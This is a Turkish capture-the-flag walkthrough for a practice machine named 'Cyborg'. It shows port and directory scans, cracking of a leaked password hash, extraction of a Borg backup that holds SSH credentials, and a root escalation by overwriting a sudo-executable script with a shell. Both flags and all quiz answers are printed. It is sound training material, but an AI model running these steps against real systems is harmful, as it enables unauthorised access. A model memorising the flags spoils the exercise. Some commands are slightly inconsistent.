Cyborg
Compromise the machine and read the user.txt and root.txt
Görev 1 Compromise the System
Her zamanki gibi nmap taramasıyla başlıyoruz.
nmap -A -T5 -sV -p- $ip
nmap çıktısı şu şekilde:
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dbb270f307ac32003f81b8d03a89f365 (RSA)
| 256 68e6852f69655be7c6312c8e4167d7ba (ECDSA)
|_ 256 562c7992ca23c3914935fadd697ccaab (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1. Makineyi tarayın. Kaç port açık?
Cevap:2
2. 22 portunda hangi servis çalışıyor?
Cevap:ssh
3. 80 portunda hangi servis çalışıyor?
Cevap:http
4. user.txt bayrağını bulunuz.
Hedefin websitesine gidelim.
Karşımıza Apache2 Ubuntu Default Page geldi. Bu sayfadan bişey çıkaramayız.
Gizli dizinleri görmek için gobuster çalıştıralım.
gobuster dir -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.218.26
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/27 16:14:52 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 312] [--> http://10.10.218.26/admin/]
/etc (Status: 301) [Size: 310] [--> http://10.10.218.26/etc/]
Progress: 220326 / 220561 (99.89%)
===============================================================
2023/03/27 16:27:14 Finished
===============================================================
Gobuster çıktısı bu şekilde. admin ve etc dizinini inceleyelim.
Buradaki kullanıcı isimlerini not edelim: Josh, Adam ve Alex. İleride işimize yarayabilirler. Başka neler işimize yarayabilir? Alex, mesajında bazı işleri mahvettiğini söylüyor. Web sitesini daha güvenli hale getirmek için ne yapacağını bilmediği için beklemeye karar vermiş ve yapılandırma dosyalarının herkesin erişebildiğinden bahsediyor. Ayrıca, “music_archive” adlı bir arşivinden bahsediyor.
Yani, web sitesi pek güvenli değil. Yapılandırma dosyasına erişebiliriz ve “music_archive” adlı arşivi de onun için önemli görünüyor.
Web sitesini keşfetmeye devam edelim.
“Archive-Download” kısmında bize “archive.tar” dosyasını indiriyor.
Dosyayı incelemeden once /etc alt dizin adresimizide bir ziyaret edelim.
passwd dosyasıni indirelim ve inceleyelim.
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
music_archive’in hashi elimizde. Bu hashi hashcat ile kırabiliriz.
Hash’i bir txt dosyasına kaydedelim.
echo ‘music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.’ > unshadowed.txt
john the ripper kullanarak hash’i kırıyoruz.
hashcat -m 1600 -a 0 hash.txt /path/to/file/rockyou.txt
squidward
music_archive dosyasının şifresini biliyoruz. Diğer dosyaya geçelim.
archive.tar dosyasını çıkartalım.
tar -xvf archive.tar
README.md dosyasını dikkatimi çekti ve dosyayı açtım.
Bu dosyaların bir Borg yedekleme deposu olduğunu söylüyor.
Burada Borg’u araştırmamız gerekiyor. Verdiği link aslında oldukça yardımcı oluyor.
Borg’un ne olduğunu anlamanız ve nasıl kullanıldığını öğrenmeniz gerekiyor.
https://borgbackup.readthedocs.io/
Verdigi sitede Quick Start kısmında nasıl kullanılacağı anlatılmış.
Borg’u kuralım.
sudo apt-get install borg
1
2
3
4
5
6
borg list home/field/dev/final_archive
──(kali㉿kali)-[~/Downloads]
└─$ borg list home/field/dev/final_archive
Enter passphrase for key /home/kali/Downloads/home/field/dev/final_archive:
music_archive Tue, 2020-12-29 17:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]
Bu komutu çalıştırınca yukarıda bulduğumuz şifreyi girdim ve başarılı oldum.
Güzel, “music_archive” dosyasını bulduk. Şimdi, içerisinde neler olduğuna bakalım.
Aşağıdaki komut ile “music_archive” içeriğini listeleyebiliriz
İçeriğinin sonunda “secret.txt” ve “note.txt” dikkatimi çekti. Bu dosyaları incelemek için “music_archive” dosyasını çıkartalım
borg extract home/field/dev/final_archive::music_archive
home içerisine alex adlı dosya çıkartıldı. Bu notlara bakalım.
cat home/alex/Documents/note.txt
note.txt dosyasını açtığımızda kullanıcı adı ve şifreyi buluyoruz.
alex:S3cretP@s3
Bulduğumuz kullanıcı adı ve şifreyle ssh servisine girelim.
Makineye giriş yapmayı başardık. user bayrağını alalım.
1
user_flag:flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
Geriye root bayrağını almak kaldı. Yetki yükseltme işlemi yaparak roota erişmeye çalışalım.
/etc/mp3backups/backup.sh dosyasını çalıştırabiliyoruz. Kontrol edelim ve değiştirmeye çalışalım.
chmod 777 /etc/mp3backups/backup.sh //backup.sh dosyasının izinlerini değiştiriyoruz.
echo “bin/bash” > /etc/mp3backups/backup.sh //backup.sh dosyasına /bin/bash komutunu ekliyoruz.
sudo /etc/mp3backups/backup.sh // dosyayı çalıştırıyoruz.
Artık root olduğumuza göre root bayrağını alabiliriz.
1
root_flag:flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}
Ve böylelikle bir ctf daha tamamladık gelecek yazılarımda görüşmek üzere.